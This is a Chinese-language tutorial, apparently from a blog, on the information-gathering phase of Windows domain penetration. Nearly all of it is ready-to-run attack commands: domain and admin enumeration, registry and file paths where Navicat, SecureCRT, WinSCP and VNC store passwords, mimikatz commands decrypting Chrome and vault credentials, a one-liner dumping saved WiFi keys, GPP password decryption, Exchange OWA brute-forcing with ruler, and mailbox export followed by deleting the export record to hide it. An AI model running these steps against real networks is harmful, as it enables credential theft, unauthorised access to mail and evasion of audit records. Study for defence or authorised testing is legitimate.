Mtaun

Windows内网渗透_1.信息收集

1.1、SPN

SPN:服务主体名称。使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作。

setspn -T domain.com -Q \*/\*

1.2、端口连接

netstat  -ano 

1.3、配置文件

可以使用如下命令寻找包含密码字段的文件:
cd /webfindstr  /s /m "password" *.*

Tomcat:CATALINA_HOME/conf/tomcat-users.xml
Apache:/etc/httpd/conf/httpd.conf
Nginx:/etc/nginx/nginx.conf
Wdcp:/www/wdlinux/wdcp/conf/mrpw.conf
Mysql:mysql\data\mysql\user.MYD

1.4、用户信息

a、查看域用户,普通域用户权限即可:

net user /domain

b、查看域管理员:

net group “domain admins” /domain

c、快速定位域控ip,一般是dns、时间服务器:

net time /domain

ipconfig /all

nslookup -type=all_ldap._tcp.dc._msdcs.jumbolab.com

d、查看域控制器:

net group “domain controllers” /domain

1.5、内网主机发现

a、查看共享资料:

net view

b、查看arp表:

arp -a

c、查看hosts文件:

linux:cat /etc/hosts

windows:type c:\Windows\system32\drivers\etc\hosts

d、查看dns缓存:

ipconfig /displaydns

1.6、会话收集

在网内收集会话,如看管理员登录过哪些机器、机器被谁登录过,这样攻击的目标就会清晰很多。

可以使用NetSessionEnum api来查看其他主机上有哪些用户登录。

api相关介绍如下:

https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum

利用powershell脚本PowerView为例。

a、可以查看域用户登录过哪些机器:

图片

b、也可以查看机器被哪些用户登陆过:

图片

其他工具、api类似。当有了上述信息后,就可以对发现到的域管或者登录着域管的机器进行攻击,只要能拿下这些机器,就可以有相应的权限去登录域控。

1.7、凭据收集

拿下一台机器后,需要尽可能的收集信息。如下是几个常用软件保存密码的注册表地址,可以根据算法去解密保存的账号密码。

比如远程连接凭据:

cmdkey /list

navicat:

MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers<your connection name>
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers<your connection name>
MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers<your connection name>
Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers<your connection name>
Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers<your connection name>
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers<your connection name>
SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers<your connection name>

SecureCRT:

xp/win2003 C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions
win7/win2008以上 C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions

Xshell:

Xshell 5 %userprofile%\Documents\NetSarang\Xshell\Sessions
Xshell 6 %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

WinSCP:

HKCU\Software\Martin Prikryl\WinSCP 2\Sessions

VNC:

RealVNC HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver Password
TightVNC HKEY_CURRENT_USER\Software\TightVNC\Server Value Password or PasswordViewOnly
TigerVNC HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 Password
UltraVNC C:\Program Files\UltraVNC\ultravnc.ini passwd or passwd2

1.8、DPAPI

DPAPI,由微软从Windows 2000开始发布,称为Data ProtectionApplication Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 。

其作用范围包括且不限于:

outlook客户端密码

windowscredential凭据

chrome保存的密码凭据

internetexplorer密码凭据

DPAPI采用的加密类型为对称加密,存放密钥的文件则被称之为Master Key Files,其路径一般为%APPDATA%\Microsoft\Protect{SID}{GUID}。其中{SID}为用户的安全标识符,{GUID}为主密钥名称。我们可以利用用户的密码/hash或域备份密钥解密主密钥,然后解密被dpapi加密的数据。

相关的介绍如下:

https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection

在渗透中,可以利用mimikatz做到自动化的数据解密:

a、解密Chrome密码:

mimikatz dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Login Data” /unprotect

b、解密Credential:

mimikatz vault::cred /patch

1.9、域信任

信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。

查看域信任:

nltest /domain_trusts

图片

上述结果显示child.jumbolab.com和jumbolab.com两个域是双向信任的。

1.10、域传送

当存在域传送漏洞时,可以获取域名解析记录。当有了解析记录后,也能提高对网络环境的进一步认知,比如www解析的ip段可能在dmz区,mail解析的ip段可能在核心区域等等。

windows:

nslookup -type=ns domain.com

nslookupsserver dns.domain.comls domain.com

linux:

dig @dns.domain.com axfr domain.com

1.11、DNS记录获取

a、在windows server上,可以使用Dnscmd工具获取dns记录。

获取dns记录:

Dnscmd. /ZonePrint jumbolab.com

图片

Dnscmd. /EnumRecords jumbolab.com .

图片

b、在非windows server机器上,可以使用PowerView获取。

import-module PowerView.ps1Get-DNSRecord -ZoneName jumbolab.com

图片

1.12、WIFI

通过如下命令获取连接过的wifi密码:

for /f “skip=9 tokens=1,2 delims=:” %i in (‘netsh wlan show profiles’) do @echo %j findstr -i -v echo netsh wlan show profiles %j key=clear

1.13、GPP

当分发组策略时,会在域的SYSVOL目录下生成一个gpp配置的xml文件,如果在配置组策略时填入了密码,则其中会存在加密过的账号密码。这些密码,往往都是管理员的密码。

其中xml中的密码是aes加密的,密钥已被微软公开:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN

可以使用相关脚本进行解密,如:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

域用户登录脚本存在目录也会存在敏感文件:

\domain\Netlogon

1.14、Seatbelt

可以利用Seatbelt工具做一些自动化的信息收集,收集的信息很多,包括不限于google历史记录、用户等等:

图片

当有了chrome的访问历史时,就可以知道该用户访问的一些内部站点的域名/IP,可以提高内网资产产的摸索效率。

1.15、Exchange

exchange一般都在域内的核心位置上,包括甚至安装在域控服务器上,因此我们需要多多关注exchange的相关漏洞,如果拿下exchange机器,则域控也不远了。

1.15.1 邮箱用户密码爆破

使用ruler工具对owa接口进行爆破:

./ruler –domain targetdomain.com brute –users /path/to/user.txt –passwords /path/to/passwords.txt

ruler工具会自动搜索owa可以爆破的接口,如:

https://autodiscover.targetdomain.com/autodiscover/autodiscover.xml

其他如ews接口也存在被暴力破解利用的风险:

https://mail.targetdomain.com/ews

1.15.2 通讯录收集

在获取一个邮箱账号密码后,可以使用MailSniper收集通讯录,当拿到通讯录后,可以再次利用上述爆破手段继续尝试弱密码,但是记住,密码次数不要太多,很有可能会造成域用户锁定:

Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt

1.15.3 信息收集

当我们拿下exchange服务器后,可以做一些信息收集,包括不限于用户、邮件。

获取所有邮箱用户:

Get-Mailbox

导出邮件:

New-MailboxexportRequest -mailbox username -FilePath (“\localhost\c$\test\username.pst”)

也可以通过web口导出,登录:

https://mail.domain.com/ecp/

导出后会有记录,用如下命令可以查看:

Get-MailboxExportRequest

删除某个导出记录:

Remove-MailboxExportRequest -Identity ‘username\mailboxexport’ -Confirm:$false